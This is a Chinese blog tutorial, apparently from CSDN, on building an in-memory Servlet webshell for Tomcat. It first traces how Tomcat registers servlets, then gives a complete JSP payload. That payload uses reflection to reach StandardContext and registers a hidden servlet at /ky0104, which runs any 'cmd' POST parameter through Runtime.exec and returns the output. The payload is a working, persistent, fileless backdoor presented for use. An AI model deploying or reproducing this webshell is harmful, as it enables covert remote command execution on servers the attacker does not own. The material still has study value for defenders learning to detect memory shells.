Tomcat-Servlet内存马

Tomcat-Servlet内存马

前面学习了 Listener/Filter 内存马,今天来学习一下 Servlet 内存马!

前景知识与工程搭建

调试之前先来看一些相关类和属性,首先是 ServletDef 这个类,这个类有 servletName/servletClass 这两个属性,对应着的是 web.xml 里面的 <servlet-name>/<servlet-class> 这两个标签

<servlet>
    <servlet-name>Servlet</servlet-name>
    <servlet-class>com.sec.example.ServletDemo</servlet-class>
</servlet>

然后是 WebXml.servletMappings 这个属性,这个属性对应着的是 web.xml 里面的 <servlet-mapping> 标签

<servlet-mapping>
    <servlet-name>Servlet</servlet-name>
    <url-pattern>/servletDemo</url-pattern>
</servlet-mapping>

最后是 WebXml 类,这个是和 web.xml 相关联的一个类!

工程搭建

IDEA 创建一个 web 工程,编写如下 Servlet 用于调试分析

@WebServlet("/servletDemo")
public class ServletDemo extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().write("ky1230");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

因为调试涉及到 Tomcat 中间件包里的代码,所以需要把 Tomcat 下 lib 目录下的包都导入进来
image-20211231203007735

调试分析

ContextConfig#processClass 方法处下断点,调试启动 Tomcat 中间件,程序会停在这个方法上。方法先获取类上的所有注释,然后获取注释类型,根据类型进入不同的方法进行处理,这里因为是 Servlet 注释,所以进入的是 processAnnotationWebServlet 方法进行处理
image-20220104203849390
跟进 processAnnotationWebServlet 方法,先从 web.xml 中获取 Servlet 相关的信息,因为我们是通过注释进行配置 Servlet 的,所以这里获取到的 servletDef 为空,为空则把从注释获取到的信息赋值给 servletDef
image-20220104204533472
继续跟进,这里获取到 Servlet 对应的路径并赋值给 urlPatterns ,把 servletDef 添加到 fragment 里面,再把 urlPatternservletName 添加到 fragment 里面
image-20220104205014688
跟进一下 addServletMapping 方法,可以看到其实是把 urlPatternservletName 添加到 servletMappings HashMap 里面了
image-20220104205351412
继续跟进,在 ContextConfig#configureContext 方法里,获取所有前面装配进 Webxml 的 Servlet,然后创建一个 Wrapper ,再判断 Servlet 里对应的 loadOnStartup 是否为空,不为空则把 loadOnStartup 设置进 Wrapper 里,最后设置 Wrapper.name 为 Servlet 的 name
image-20220104211145823
loadOnStartup 其实就是 web.xml 配置 Servlet 时的一个配置

<load-on-startup>1</load-on-startup>

继续跟进,最后把 wrapper 加入到 Child
image-20220104211555683
从 webxml 中获取所有前面装配进 WebxmlservletMappings
image-20220104211854916
跟进 addServletMappingDecoded 方法,这里最终添加到的是 StandardContext#servletMappings 属性
image-20220104212141486
继续跟进到 StandardContext#loadOnStartup 方法,这里获取所有的 child 和 对应的 loadOnStartup ,当 loadOnStartup 大于等于 0 时把 wrapper 加入到 map 当中
image-20220104212724450
继续跟进,把所有的 wrapper 加入到 map 中后从遍历获取 map 中的 wrapper 并调用其 load 方法
image-20220104213426390
跟进 load 方法,最终进入到 loadServlet 方法,判断 instance 是否为空,不为空则直接返回 instance,为空则实例化这个 wrapper 对应的 servletClass
image-20220104213757856
至此,调试分析就到这了,现在再看一下 StandardWrapper#setServlet 方法,这个方法可以设置 instance 属性,后面构造会用到

构造内存马注入

因为在 loadOnStartup 方法中获取到的是 StandardContextchild ,所以我们先获取到 StandardContext ,然后创建一个 Wrapper,往里面注入 LoadOnStartup/Name/instance,再把 Wrapper 注入到 StandardContext 中,最后往 StandardContext 中注入 ServletMapping 即可

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%	// 构造恶意的 HttpServlet,使用 POST 方式进行传递命令参数
    HttpServlet servlet = new HttpServlet() {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            super.doGet(req, resp);
        }

        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd != null){
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                int i = 0;
                byte[] bytes = new byte[1024];
                while ((i = inputStream.read(bytes)) != -1){
                    resp.getWriter().write(new String(bytes,0,i));
                    resp.getWriter().write("\r\n");
                }
            }
        }
    };
%>

<%	// 获取 StandardContext
    ServletContext servletContext = request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>

<%	// 构造恶意 Wrapper 
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(servlet.getClass().getName());
    //wrapper.setServletClass(servlet.getClass().getName());
    wrapper.setServlet(servlet);
%>
 
<%	//往 standardContext 中注入恶意 Wrapper 以及 ServletMapping
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/ky0104",servlet.getClass().getName());
%>

Reference:

https://blog.csdn.net/angry_program/article/details/118492214

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值